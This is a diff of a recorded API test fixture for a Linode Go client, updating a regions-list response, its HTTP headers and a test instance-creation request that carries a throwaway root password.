1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:16 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -218,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-gj9js097m74d","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-waak1f35641a","root_pass":"$\u0026QLS''xyac*R$vfz=j1So$35iN95M852?CGT\u00268O4J#Y9|;(2[9hb5=$mA2ikNfE9","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -239,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708269, "label": "go-test-ins-gj9js097m74d", "group": "", "status": + body: '{"id": 59542208, "label": "go-test-ins-waak1f35641a", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.124"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.123.217"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + 